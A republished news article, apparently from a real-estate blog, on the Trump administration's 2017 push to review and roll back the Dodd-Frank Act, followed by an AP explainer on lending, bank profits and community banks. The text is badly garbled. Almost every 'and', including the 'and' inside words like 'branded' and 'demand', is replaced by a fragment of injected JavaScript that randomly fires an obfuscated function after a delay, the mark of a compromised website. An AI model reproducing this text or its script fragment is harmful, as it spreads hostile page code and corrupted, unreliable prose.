President Donald Trump reportedly will sign an executive action Friday to scale back the regulatory system that was put in place in 2010 in response to the financial crisis. The Trump administration has set out to remove what it views as regulatory burdens by overhauling mortgage financing giants Freddie Mac andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Fannie Mae andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and easing lending regulations.
“Americans are going to have better choices andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Americans are going to have better products because we’re not going to burden the banks with literally hundreds of billions of dollars of regulatory costs every year,” Gary Cohn, White House National Economic Council director, told The Wall Street Journal. “The banks are going to be able to price product more efficiently andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and more effectively to consumers.”
President Trump is to order a sweeping review of the Dodd-Frank Act rules, which will include a close look at how the government supervises big financial firms that aren’t traditional banks, Cohn says. Cohn says that existing regulations under Dodd-Frank have made it too difficult for banks to lend andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and has limited consumers’ choices of financial products.
Cohn says the Trump administration also is planning to overhaul mortgage finance giants Fannie Mae andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and Freddie Mac, which have remained under the government conservatorship since the financial crisis.
“This is a table setter for a bunch of stuff that is coming,” Cohn says.
The changes are expected to be met with some criticism, particularly among Democrats, who have argued in the past that the regulations protect the average borrowers as well as investors from abusive practices. They have pushed for tighter controls on banks andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and lenders in response to the subprime mortgage crisis.
“I’m not sitting here saying we want to go back to the good old days,” Cohn told The Wall Street Journal. “We have the best, most highly capitalized banks in the world, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and we should use that to our competitive advantage. But on the flip side, we also have the most highly regulated, overburdened banks in the world.”
Source: “Trump Moves to Undo Dodd-Frank: White House Says Banks Burdened By Rules After Financial Crisis,” The Wall Street Journal (Feb. 3, 2017) [log-in required] andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and “Trump to Order Review of Dodd-Frank, Halt Obamas Fiduciary Rule,” Bloomberg (Feb. 3, 2017) (as per: Daily Real Estate News (2/3/17)
Update: According to Florida Realtors:
Dodd-Frank changes could shuffle real estate rules
NEW YORK (AP) – Feb. 6, 2017 – President Donald Trump has wasted little time in beginning a push to reverse the stricter banking regulations enacted after the 2008 financial crisis.
Trump has brandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anded the Dodd-Frank Act “a disaster” – a regulatory overreach that slowed the economy andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and stifled lending to consumers andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and businesses.
The skinny is —
Dodd-Frank did impose tighter curbs on U.S. banks andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and how they operate. Restrictions fell hard on community banks. The U.S. economy is healthier now:
- The job market is solid.
- The housing market has largely rebounded.
- The banking system, which nearly collapsed, is safer andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and sturdier.
The Dodd-Frank Act took effect in 2010, a response to reckless risk-taking by banks that inflated a housing bubble, kindled the financial crisis andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and eventually required a $700 billion taxpayer bailout. The law was designed, most broadly, to guard against another catastrophe.
But Republicans in Congress, emboldened Wall Street lobbyists andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the Trump White House argue that the law went too far andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and want to roll back many of the regulations. Just as vociferously, defenders of Dodd-Frank say it remains a critically important bulwark against excessive financial risk-taking andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and should stay intact.
“The Dodd-Frank Act is a disastrous policy that’s hindering our markets, reducing the availability of credit andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and crippling our economy’s ability to grow andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and create jobs,” Sean Spicer, Trump’s press secretary, said Friday.
Here’s a closer look at the law andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and what’s at stake:
Q: What does Dodd-Frank really do?
A: It’s a complicated law. But among other goals, it had one overarching purpose: To erase any perception that some mega-banks were “too big to fail” – that is, that they would require another taxpayer bailout in case of a new financial crisis because their collapse would threaten the entire banking system. Take the bankruptcy of Lehman Brothers, once a storied Wall Street investment bank. Its bankruptcy at a precarious moment for the banking system helped ignite a full-blown crisis. Once Lehman failed, the government felt compelled to rescue other financial giants that were deemed too important to the whole system.
Dodd-Frank required the banks to hold much more money relative to how much they lend. It created the Consumer Financial Protection Bureau, which aims to protect consumers from abusive financial products. Large banks had to prove they could survive a hypothetical financial crisis or a deep recession. And they had to devise plans to dismantle themselves in an orderly fashion if they ever had to seek bankruptcy.
Q: So has Dodd-Frank worked?
A: The balance sheets of the nation’s biggest banks are far more robust than before the crisis andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and more prepared to endure financial setbacks. And most analysts say the restrictions imposed by Dodd-Frank largely worked as a safeguard against another crisis. Yet not until another crisis actually hits will it be clear whether Dodd-Frank works as well as its supporters claim. And no one knows for sure whether the law has caused the economy to grow more slowly than it otherwise would.
Q: Has Dodd-Frank made it harder for people to buy a home or car, or to borrow?
A: The law did restrict certain risky mortgages andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and reined in other types of lending that had previously faced little or no regulation. But Americans, speaking broadly, have ample access to credit. Immediately after the financial crisis, banks scaled way back on lending. Loans were harder to get. Yet for most people, those days are largely gone. The banking industry is making more loans in various forms. And Americans, who drastically pared their debt during the recession, are borrowing again.
Americans have $992 billion in balances on their credit cards, near a record high set in 2008, according to data from the Federal Reserve. Auto loans outstandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anding total $1.10 trillion, also a record. And the average rate on those auto loans is just below 4.5 percent, near a record low.
What’s more, mortgage debt has reached $14.2 trillion, not far below the record set in mid-2008, when the housing market was in a bubble soon to burst. Mortgage rates have been near historic lows for years. (One notable exception: Home equity loans, popular during the housing bubble, have declined since 2009.)
“The argument that Dodd-Frank choked the lending markets is simply not in the data,” said Mike Konczal, a fellow at the left-leaning Roosevelt Institute.
Even the most vulnerable Americans have re-entered the financial system. Roughly 7 percent of Americans were unbanked in 2015, down from 8.2 percent in 2011, according to the Federal Deposit Insurance Corporation. (The unbanked are people who have no bank account andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and are considered largely shut out of the mainstream financial system.)
Q: Have the banking industry’s profits been hurt by Dodd-Frank?
A: Because banks are in the business of lending, the industry’s fortunes rise andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and fall in sync with the economy. And as the economy recovered from the Great Recession, so did bank profits.
The roughly 6,000 banks insured by the FDIC earned $168.8 billion in profits in the past four quarters, a record, andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and above the $146.2 billion they earned in the 12 months leading up to the 2007 housing bust.
Still, while profits for large Wall Street banks have recovered, the gains are due largely to how much bigger the big banks became after the crisis. Banks’ profits on individual loans are historically low. Yet they have managed to more than make up the shortfall through fees andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and sheer volume of loans.
Profits at small community banks are another story. They have not recovered. Dodd-Frank’s stricter regulations disproportionally hit smaller banks. Unlike the banking giants, community banks don’t have the economies of scale to make up for lower profit margins. Some modifications to Dodd-Frank enacted during the Obama administration have been intended to provide some relief to small community banks.
Small banks – those with less than $1 billion in assets – had a return on equity of 11.8 percent at the start of 2007. That figure is now down to 9.6 percent.
Critics of Dodd-Frank say it’s slowed or even stopped the growth of the banking industry since its passage – forcing banks to merge andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and consolidate just to reach the size they need to survive. Before the recession, there were roughly 7,100 commercial banks in the United States. Nearly 10 years later, the figure is 5,100. Some banks failed in the crisis. But more were gobbled up by competitors or merged.
Q: Haven’t the Federal Reserve’s low interest rates helped?
Yes. In a response to the financial crisis, the Fed cut its main interest rate to near zero in 2008 andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and kept it there until December 2015. Though the Fed has raised rates twice, they are still well below historical averages. As a result, banks can still lend at low rates.
Consider, too, banks’ average net interest margin. This measures how much it costs banks to lend andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and what rate they charge. That figure is now 3.03 percent. It means that if it costs a typical bank 2 percent to borrow money, it’s lending it at 5.03 percent. That 3.03 percent margin is also near a record low.
This suggests that if banks are facing higher costs from tighter regulations andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and compliance with Dodd-Frank, they don’t seem to feel compelled to pass on those costs to consumers.
Bankers say a key problem for the industry is not so much a lack of access to credit as an unwillingness by consumers andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and businesses to borrow. The lack of demandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and for loans has forced banks to lower their rates to compete for business. Ultimately, of course, that benefits consumers andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and businesses.
Q: What about lending to small businesses?
A sharp pullback in business loans followed the Great Recession andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and the passage of Dodd-Frank. But lending to small businesses soon recovered. And just like U.S. shoppers, businesses large andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and small are borrowing at high levels again.
Companies have borrowed over $1.1 trillion in commercial andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and industrial loans from the big banks as of December 2016, a record high, according to the Fed. Even among small banks, business loans totaled $573 billion as of December, also a record high.